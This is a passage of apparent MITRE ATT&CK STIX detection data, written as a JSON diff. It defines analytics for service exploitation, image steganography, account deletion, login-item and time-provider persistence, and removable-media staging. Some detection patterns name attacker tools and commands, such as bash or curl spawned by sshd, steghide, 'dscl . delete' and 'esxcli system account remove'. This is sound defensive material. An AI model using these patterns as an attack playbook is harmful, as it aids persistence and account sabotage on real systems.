/var/log/vmkernel.log, /var/log/syslog.log." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ESXiServicePorts", + "description": "427, 443, 902, 5989; modify per version/hardening." + }, + { + "field": "MgmtCIDRs", + "description": "Legit management networks for vCenter/ESXi." + }, + { + "field": "RestartKeywords", + "description": "Crash/restart patterns to match in logs." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--32ef36a3-3112-40a1-84d0-323b7b86cb5b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0118#AN0330", + "external_id": "AN0330" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0330", + "description": "Ties inbound access to exposed services (ARD/VNC 5900, SSH 22, ScreenSharing, web services) with process crashes in unified logs and abnormal child processes spawned under those services (e.g., bash, curl) to indicate exploitation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "process 'crashed'|'EXC_BAD_ACCESS' for sshd, screensharingd, httpd; launchd restarts of these daemons." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Inbound to 22/5900/8080 and follow-on internal connections." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServicePortSet", + "description": "22, 5900, 8080/8443 by default." + }, + { + "field": "AllowedAdmins", + "description": "MDM/jump-host IPs allowed to manage endpoints." + }, + { + "field": "TimeWindow", + "description": "Default: 10 minutes." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a7666a4d-ece8-4e5b-ae85-d2987f14b950", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0119#AN0331", + "external_id": "AN0331" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0331", + "description": "Detects execution of image viewers or PowerShell scripts accessing or decoding files with mismatched MIME headers or embedded script-like byte patterns; often correlated with suspicious parent-child process lineage and outbound connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessImage", + "description": "Tune to identify image editors/viewers invoking script interpreters (e.g., `mspaint.exe` > `powershell.exe`)" + }, + { + "field": "MimeHeaderMismatchTolerance", + "description": "Adjust tolerance for image file headers that do not match file extensions or content structure" + }, + { + "field": "TimeWindow", + "description": "Define the temporal range to correlate decoding \u2192 execution \u2192 network beaconing" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f884a712-ace6-426c-ab81-8ff33e83be92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0119#AN0332", + "external_id": "AN0332" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0332", + "description": "Detects access to media files followed by execution of scripts (bash, Python, etc.) referencing those same files, or outbound traffic triggered shortly after file read. Correlates unusual use of tools like `steghide`, `exiftool`, or image libraries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "connect" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredToolsList", + "description": "Define the list of steganographic or image-parsing tools to alert on (e.g., `steghide`, `imagemagick`)" + }, + { + "field": "ScriptInterpreterMatch", + "description": "Tune to detect script engines accessing media files (e.g., `python script.py image.png`)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--eb5334b4-8a19-4efd-a225-44a2783c6d39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0119#AN0333", + "external_id": "AN0333" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0333", + "description": "Detects manipulation of PNG, JPG, or GIF files by user-initiated scripts followed by script execution or exfiltration behavior, especially from `osascript`, `python`, or `bash`, in combination with LaunchAgent persistence or curl activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:osquery", + "channel": "file_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "network connection events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StegoToolNamePatterns", + "description": "Adapt to known or emerging tools using stego methods on macOS (e.g., `Invoke-PSImage`, `stegsolve`)" + }, + { + "field": "ParentScriptSources", + "description": "Update list of trusted versus unknown scripting hosts launching activity tied to image handling" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7d0595b9-eca7-488d-bbc2-ed02ff4ced9b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0120#AN0334", + "external_id": "AN0334" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0334", + "description": "Correlated user account modification (reset, disable, deletion) events with anomalous process lineage (e.g., PowerShell or net.exe from an interactive session), especially outside of IT admin change windows or by non-admin users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "WinEventLog:Security", + "channel": "EventCode=4723, 4724, 4726, 4740" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Account performing the operation (e.g., Domain Admins vs. local users)" + }, + { + "field": "TimeWindow", + "description": "Alert only on actions outside of maintenance windows" + }, + { + "field": "ParentProcessName", + "description": "Detect suspicious process lineage (e.g., powershell.exe launching net.exe)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a941dd04-5626-4091-9eed-300d7d7f0a1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0120#AN0335", + "external_id": "AN0335" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0335", + "description": "Password changes or account deletions via 'passwd', 'userdel', or 'chage' preceded by interactive shell or remote command execution from non-privileged accounts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "SYSCALL record where exe contains passwd/userdel/chage and auid != root" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "NSM:Connections", + "channel": "Accepted password or publickey for user from remote IP" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecPath", + "description": "Binary path for passwd or userdel, which may vary by distro" + }, + { + "field": "NonRootUIDThreshold", + "description": "Alert only if auid != root or expected service account" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--adbe8ef2-15e5-4fb9-83d8-4c67b7b1be78", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0120#AN0336", + "external_id": "AN0336" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0336", + "description": "Execution of dscl or sysadminctl commands to disable, delete, or modify users combined with anomalous process ancestry or terminal session launch.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "command includes dscl . delete or sysadminctl --deleteUser" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "macos:unifiedlog", + "channel": "successful sudo or authentication for account not normally associated with admin actions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "Allow variation in dscl/sysadminctl command structure" + }, + { + "field": "AnomalousUserFlag", + "description": "Detect new or rarely seen users performing user removal" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2c5d3103-2b9c-4b56-b415-c01e055fff64", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0120#AN0337", + "external_id": "AN0337" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0337", + "description": "Invocation of esxcli 'system account remove' from vCLI, SSH, or vSphere API with anomalous user access or outside maintenance windows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d6257b8e-869c-41c0-8731-fdca40858a91", + "name": "esxi:hostd", + "channel": "method=RemoveUser or esxcli system account remove invocation" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "esxi:vpxa", + "channel": "user login from unexpected IP or non-admin user role" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RemoteUserRole", + "description": "ESXi role triggering the change (e.g., Administrator vs. Viewer)" + }, + { + "field": "ExpectedIPs", + "description": "IP ranges authorized to conduct admin-level actions" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ba6c8c55-ee38-4219-a426-a3f1e04c7a8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0120#AN0338", + "external_id": "AN0338" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0338", + "description": "O365 UnifiedAuditLog entries for Remove-Mailbox or Set-Mailbox with account disable or delete actions correlated with suspicious login locations or MFA bypass.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d6257b8e-869c-41c0-8731-fdca40858a91", + "name": "m365:unified", + "channel": "Remove-Mailbox, Set-Mailbox" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "m365:signin", + "channel": "Sign-in from anomalous location or impossible travel condition" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RoleAssignment", + "description": "Determine if operation was delegated to expected admin group" + }, + { + "field": "GeoThreshold", + "description": "Trigger on unusual geographic login sources" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--af7bff30-45c5-4baf-9ced-68208b7ae836", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0120#AN0339", + "external_id": "AN0339" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0339", + "description": "Deletion or disablement of user accounts in platforms like Okta, Salesforce, or Zoom with anomalies in admin session attributes or mass actions within short duration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "saas:okta", + "channel": "user.lifecycle.delete, user.account.lock" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BulkActionThreshold", + "description": "Trigger if multiple deletions occur within a short period" + }, + { + "field": "SessionDeviceType", + "description": "Alert on deletions initiated from unfamiliar device contexts" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--89e3509c-d732-4826-ac78-baea8fbf0834", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0121#AN0340", + "external_id": "AN0340" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0340", + "description": "Creation or modification of Login Items using AppleScript or Service Management Framework. Detection focuses on file creation/modification of `backgrounditems.btm`, new executables in `Contents/Library/LoginItems/`, use of `SMLoginItemSetEnabled` API, or suspicious processes triggered post-login without user interaction. Behavioral pivot includes anomalous AppleEvents, suspicious parent-child process pairs, and login-triggered execution chains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Post-login execution of unrecognized child process from launchd or loginwindow" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Modification of backgrounditems.btm or creation of LoginItems subdirectory in .app bundle" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:unifiedlog", + "channel": "Invocation of SMLoginItemSetEnabled by non-system or recently installed application" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "macos:unifiedlog", + "channel": "AppleScript creating login item via 'System Events' dictionary" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate file and process activity within a defined interval post-login (e.g., 0\u20135 minutes)" + }, + { + "field": "UserContext", + "description": "Distinguish between system users, interactive users, and daemon contexts" + }, + { + "field": "ExecutableAllowlist", + "description": "Define known-good login items to suppress false positives" + }, + { + "field": "PathRegexExclusion", + "description": "Exclude common enterprise paths (e.g., Jamf, MDM-managed apps)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c223f997-8323-40c2-98c9-38a8a1779db4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0122#AN0341", + "external_id": "AN0341" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0341", + "description": "Behavioral correlation of privileged registry key creation under the W32Time TimeProviders path combined with a new DLL written to disk and potential process activity by LocalService. Indicates abuse of Time Providers for persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RegistryPathScope", + "description": "May need to be tuned to only monitor `W32Time\\TimeProviders` subkey path for performance optimization" + }, + { + "field": "UserContext", + "description": "Should focus on activity from administrative or SYSTEM accounts" + }, + { + "field": "TimeWindow", + "description": "Controls correlation window between registry modification and DLL drop" + }, + { + "field": "DllPathEntropyThreshold", + "description": "Used for anomaly scoring on DLL path patterns (e.g., random names or temp directories)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--198d4196-25f0-4e28-a95b-c89709f452ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0123#AN0342", + "external_id": "AN0342" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0342", + "description": "Detects removable drive insertion followed by unusual file access, compression, or staging activity by unauthorized users or unexpected processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "WinEventLog:System", + "channel": "EventCode=1006,10001" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DriveTypeFilter", + "description": "Filter on removable (e.g., USB) drives only." + }, + { + "field": "ProcessNameExclusionList", + "description": "Exclude known, approved backup or sync utilities." + }, + { + "field": "TimeWindow", + "description": "Limit correlation of file access and device mount to a defined window (e.g., <5 minutes)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4e288214-93b3-48a7-b51e-2b0136db8540", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0123#AN0343", + "external_id": "AN0343" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0343", + "description": "Detects mounted external devices (via /media or /mnt) followed by large file read or copy operations by shell scripts, unauthorized users, or staging tools (e.g., tar, rsync).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "auditd:SYSCALL", + "channel": "device event logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MountPointPattern", + "description": "Monitor mount points like /media, /mnt, or /run/media." + }, + { + "field": "UserGroupScope", + "description": "Restrict detection to non-root or unexpected users." + }, + { + "field": "AccessVolumeThreshold", + "description": "Alert on large file access or copy events." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--acaabb0b-6cfc-45cd-8bd9-08ad49e1096c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0123#AN0344", + "external_id": "AN0344" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0344", + "description": "Detects mounting of external volumes followed by high-volume or sensitive file access via Finder, terminal, or third-party apps (e.g., rsync, zip).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f", + "name": "macos:unifiedlog", + "channel": "Volume Mount + File Read" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:osquery", + "channel": "file_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "fs:fsusage", + "channel": "file system activity monitor" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VolumeNamePattern", + "description": "Detect suspicious or unrecognized drive labels (e.g., UNTITLED, BACKUP_VOL)." + }, + { + "field": "ProcessOrigin", + "description": "Detect CLI-based copy operations vs. expected GUI usage." + }, + { + "field": "UserSessionCheck", + "description": "Alert if process and session context are mismatched (e.g., script from screensaver context)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--861ee805-c979-44c9-8b0c-86bd3a6f5872", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0124#AN0345", + "external_id": 